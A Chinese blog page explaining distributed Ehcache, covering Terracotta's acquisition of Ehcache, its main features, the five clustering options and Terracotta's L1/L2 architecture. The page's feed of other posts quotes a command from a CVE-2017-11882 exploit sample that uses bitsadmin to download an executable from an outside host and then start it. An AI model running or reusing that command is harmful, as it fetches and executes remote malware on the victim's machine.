文档章节

Distributed Ehcache

ZooKeeper
 ZooKeeper
发布于 2013/12/21 14:17
字数 990
阅读 652
收藏 3

        Ehcache

        Terracotta是一款由美国Terracotta公司开发的著名开源Java集群平台。它在JVM与Java应用之间实现了一个专门处理集群功能的抽象层,以其特有的增量检测、智能定向传送、  分布式协作、服务器镜像、分片等技术,允许用户在不改变现有系统代码的情况下实现单机Java应用向集群话应用的无缝迁移。使得用户可以专注于商业逻辑的开发,  由Terracotta负责实现高性能、高可用性、高稳定性的企业级Java集群 .  Terracotta在2009年收购了Ehcache,Terracotta致力于继续维护Ehcache社区,并接计划保留Ehcache继续做为一个基于Apache 2许可证的开源产品. 也因此Ehcache从一个缓存框架摇身一变为一套解决方案. Terracotta也同时发布了需要付费的Ehcache企业版本,比如针对Big Memory问题,而出现的GC 停顿时间长的问题.比如Big Memory Go 和Big Moemory Max.


           EhCache 是一个纯 Java 的进程内缓存框架,具有快速、精干等特点,是 Hibernate 中默认的 CacheProvider。

下图是 EhCache 在应用程序中的位置:

图 1. EhCache 应用架构图

EhCache 的主要特性有:

  1. 快速;

  2. 简单;

  3. 多种缓存策略;

  4. 缓存数据有两级:内存和磁盘,因此无需担心容量问题;

  5. 缓存数据会在虚拟机重启的过程中写入磁盘;

  6. 可以通过 RMI、可插入 API 等方式进行分布式缓存;

  7. 具有缓存和缓存管理器的侦听接口;

  8. 支持多缓存管理器实例,以及一个实例的多个缓存区域;

  9. 提供 Hibernate 的缓存实现;

    

       EhCache 从 1.7 版本开始支持集群, 在此之前 EhCache 是进程中的缓存系统,一旦将应用部署在集群环境中,每一个节点维护各自的缓存数据,当某个节点对缓存数据进行更新,这些更新的数据无法在其它节点中共享, 这不仅会降低节点运行的效率,而且会导致数据不同步的情况发生。例如某个网站采用 A、B 两个节点作为集群部署,当 A 节点的缓存更新后,而 B 节点缓存尚未更新就可能出现用户在浏览页面的时候,一会是更新后的数据,一会是尚未更新的数据,尽管我们也可以通过 Session Sticky 技术来将用户锁定在某个节点上,但对于一些交互性比较强或者是非 Web 方式的系统来说,Session Sticky 显然不太适合。所以就需要用到 EhCache 的集群解决方案。目前EhCache支持五种集群方案,分别是:

  • Terracotta

  • RMI

  • JMS

  • JGroups

  • EhCache Server

    Terracotta

        分布式Terracotta由运行中的Ehcache和一系列的Terracotta Server(TSA)组成. 分布式Terracotta从逻辑上分为两层L1和L2,  L1指使用Ehcache的App Server.  L2充当L1的replication数据, 存放L1上Ehcache上数据的完全备份.  L1存放经常使用的数据, 万一L1中一个App Server Crash后, 重启动后,可以从L2 TSA pull之前缓存的数据.  从而保证它的High Available.

       在实际应用中,每一个App Server需要引用Ehcache的library,并配置相应TSA的IP和端口.  每个Ehcache基于在一个JVM上,并负责维持和远程TSA的通信. 从某种角度,我们理解TSA相当于Ehcache的一个远程镜像.

     

         分布式Terracotta采分层的内存管理模型. 

        L1: 支持Heap Store和BigMemory(off-heap,内存直接存储).

        L2:支持Heap Store, BigMemory and Local Disk Store.

 


        这里主要介绍Terracotta , 其它的四种方式,大家如果感兴趣,  推荐另一篇blog:  http://www.ibm.com/developerworks/cn/java/j-lo-ehcache/      

[Reference]:

http://www.oschina.net/p/ehcache

http://ehcache.org/documentation/2.4/terracotta/architecture

 http://forums.terracotta.org/forums/posts/list/2413.page 

Big Memory : http://ehcache.org/documentation/bigmemory/index



© 著作权归作者所有

共有 人打赏支持
ZooKeeper
粉丝 52
博文 28
码字总数 13920
作品 0
杭州
程序员
Ehcache 2.0 正式版发布,Java缓存框架

In the last six months, we have invested tens of thousands of person-hours into improving Ehcache, adding features and improving performance with the Terracotta Server Array. Th......

红薯
2010/03/09
400
0
2010年3月9日ehcache 2.0发布

March 9, 2010: Ehcache 2.0 Released In the last six months, we have invested tens of thousands of person-hours into improving Ehcache, adding features and improving performance ......

gtd
2010/03/17
246
3
ehcache.xml,怎么知道hibernate的二级缓存配置有么有生效

ehcache.xml,感觉查询速度好像没有怎么变化是不是 配置没有成功 这是网上下载的xml配置文件:

Baclk5
2014/07/29
460
0
CAS客户端票据分发问题

使用memcached解决票据分发 导入jar文件 org.jasig.cascas-client-support-distributed-ehcache3.1.9compilejar 2. 在客户端web.xml文件中 CAS Validation Filterorg.jasig.cas.client.vali......

Heinrich_Chen
2016/07/21
26
0
杨唯浩/smart-cache

smart-cache Introduce Java distributed second-level cache, which is achieved based on Ehcache2 and Redis, can realize cache monitoring and fetching of multi-computer cluster at ......

杨唯浩
2017/06/05
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
8分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
22分钟前
0
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
23分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
34分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部